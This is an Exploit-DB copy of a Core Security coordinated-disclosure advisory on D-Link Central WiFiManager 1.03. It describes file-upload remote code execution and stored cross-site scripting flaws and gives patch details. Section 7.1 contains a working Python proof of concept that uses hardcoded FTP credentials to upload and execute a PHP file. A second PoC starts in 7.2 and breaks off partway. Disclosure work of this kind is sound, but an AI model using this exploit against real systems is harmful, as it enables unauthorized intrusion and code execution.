Exploit-DB #45533
Description: D-Link Central WiFiManager Software Controller 1.03 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2018-10-05
Author: Core Security

Exploit:
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

D-Link Central WiFiManager Software Controller Multiple Vulnerabilities

1. *Advisory Information*

Title: D-Link Central WiFiManager Software Controller Multiple
Vulnerabilities
Advisory ID: CORE-2018-0010
Advisory URL: http://www.coresecurity.com/advisories/d-link-central-wifimanager-software-controller-multiple-vulnerabilities
Date published: 2018-10-04
Date of last update: 2018-10-04
Vendors contacted: D-Link
Release mode: Coordinated release

2. *Vulnerability Information*

Class: Unrestricted Upload of File with Dangerous Type [CWE-434],
Improper Authorization [CWE-285], Improper Neutralization of Input
During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper
Neutralization of Input During Web Page Generation
('Cross-site Scripting') [CWE-79]
Impact: Code execution
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2018-17440, CVE-2018-17442, CVE-2018-17443, CVE-2018-17441

3. *Vulnerability Description*

D-Link's website states that:

[1] Central WiFiManager Software Controller helps network administrators
streamline their wireless access point (AP) management workflow. Central
WiFiManager is an innovative approach to the more traditional
hardware-based multiple access point management system. It uses a
centralized server to both remotely manage and monitor wireless APs on a
network.

Vulnerabilities were found in the Central WiFiManager Software
Controller, allowing unauthenticated and authenticated file upload with
dangerous type that could lead to remote code execution with system
permissions. Also, two stored Cross Site Scripting vulnerabilities were
found.

4. *Vulnerable Packages*

    . Central WifiManager v1.03

Other products and versions might be affected, but they were not tested.

5. *Vendor Information, Solutions and Workarounds*

D-Link released the following Beta version that addresses the reported vulnerabilities:

    . Central WifiManager v 1.03r0100-Beta1

In addition, D-Link published a security note in:
https://securityadvisories.dlink.com/announcement/publication.aspx?name=SAP10092

6. *Credits*

These vulnerabilities were discovered and researched by Julian Muñoz
from Core Security Consulting Services. The publication of this advisory
was coordinated by Leandro Cuozzo from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

D-Link Central WiFiManager Software Controller exposes an FTP server
that serves by default in port 9000 and has hardcoded credentials
(admin, admin). Taking advantage of this fact, we will upload a PHP file
in the '/web/public' directory and then, by requesting this file, will
be able to execute arbitrary code on the target system (shown in 7.1).

On 7.2 we show a similar attack to but in this case with an
authenticated user in the web application. The application has a
functionality to upload a .rar file used for the captive portal
displayed by the Access Points. We will craft a .rar with a PHP file
that we will end up executing in the context of the web application.
When the .rar is uploaded is stored in the path "\web\captivalportal" in
a folder with a timestamp created by the PHP time() function. In order
to know what is the web server's time we request an information file
that contains the time we are looking for. After we have the server's
time we upload the .rar, calculate the proper epoch and request the
appropriate path increasing this epoch by one until we hit the correct
one.

Finally, we discovered two Cross-Site Scripting, one on the update site
functionality, in the 'sitename' parameter (7.3) and the other one on
the creation of a local user in the 'username' parameter (7.4).

7.1. *Unauthenticated Remote Code Execution by Unrestricted Upload of
File with Dangerous Type*

[CVE-2018-17440] The web application starts an FTP server running on the
port 9000 by default with admin/admin credentials and do not show the
option to change it, so in this POC we establish a connection with the
server and upload a PHP file. Since the application do not restrict
unauthenticated users to request any file in the web root, we later
request the uploaded file to achieve remote code execution.

/-----
import requests
from ftplib import FTP

#stablish connection with FTP server
host_ip = "127.0.0.1"
ftp = FTP()
ftp.connect(host=host_ip<ftp://ftp.connect(host=host_ip>, port=9000)
ftp.login(<ftp://ftp.login(>"admin", "admin")
data = []

#create PHP poc file
poc_php_file = open("poc.php", "w+")
poc_php_file.write("<?php\nsystem('whoami');\n?>")
poc_php_file.close()

#upload PHP poc file
php_file = open("poc.php", "rb")
ftp.cwd('/web/public')<ftp://ftp.cwd('/web/public')>
ftp.storbinary(<ftp://ftp.storbinary(>"STOR write_file.php", php_file)
ftp.dir(data.append)<ftp://ftp.dir(data.append)>
ftp.quit()<ftp://ftp.quit()>

for line in data:
  print "-", line

session = requests.Session()
session.trust_env = False

#get the uploaded file for remote code execution
get_uploaded_file = session.get('https://127.0.0.1/public/write_file.php', verify=False)

print get_uploaded_file.text
-----/

7.2. *Authenticated Remote Code Execution by Unrestricted Upload of File with Dangerous Type*

[CVE-2018-17442] In this case we make a file upload using the
functionality given by the onUploadLogPic endpoint, that will take a
.rar file, decompress it and store it in a folder named after the PHP
time() function. Our goal is first obtain the server's time, upload a
.rar with our PHP file, calculate the proper epoch and iterate
increasing it until we hit the proper one and remote code execution is
achieved.

/-----
import re
import time
import requests
import datetime
import tarfile

def parse_to_datetime(date_string):
    date_list = date_string.split("-")
    td = date_list[2][2:].split(":")
    retu